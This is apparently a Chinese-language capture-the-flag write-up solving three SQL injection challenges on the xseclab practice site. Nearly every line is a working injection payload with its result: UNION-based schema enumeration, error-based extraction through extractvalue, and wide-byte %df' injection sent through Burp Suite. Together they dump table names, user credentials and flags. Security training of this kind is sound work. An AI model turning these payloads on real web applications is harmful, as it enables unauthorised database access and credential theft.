http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1?' order by 4%23
报错了,所以只有3列
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1?' union select 1,2,3 %23
有回显
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1?' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23
查表名,得到表名:
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1?' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934),3 %23
列名 id,title_1,content_1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1?' union select 1,(select group_concat(id,title_1,content_1) from sae_user_sqli4),3 %23
1blog systemmy blog test,2so easyeasy ,229212flagishere#Hsaagdfs56sdf7fsdv,3where is flagflag is here!
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)%23 &num=1%23
得出 article,user两个表
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1)%23 &num=1%23
得到列名id,username,password,lastloginI
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username,password) from user))),1)%23 &num=1%23
useruser,adminadmin,flagmyflagi
没有显示完
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(username,password) from user where username=0x666c6167))),1)%23 &num=1%23
flagmyflagishere
dog1.jpg存在宽字节注入,提交dog1.jpg%df'可以证明,响应包返回结果如下
在burpsuite中注入
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' order by 5 %23 HTTP/1.1
//报错 有4列
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,3,4 %23 HTTP/1.1
//返回3,回显在第3个位置
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,database(),4 %23 HTTP/1.1
//得到数据库 mydbs
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x6d79646273 %23 HTTP/1.1
//表名 article,pic
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61727469636c65 %23 HTTP/1.1
//article 中的列为 id,title,content,others
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x706963 %23 HTTP/1.1
//pic 中的列为 id,picname,data,text
GET /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%df' union select 1,2,group_concat(picname),4 from pic %23 HTTP/1.1
//查看picname列
//dog1.jpg,cat1.jpg,flagishere_askldjfklasjdfl.jpg
http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg
访问图片得flag IamflagIloveyou!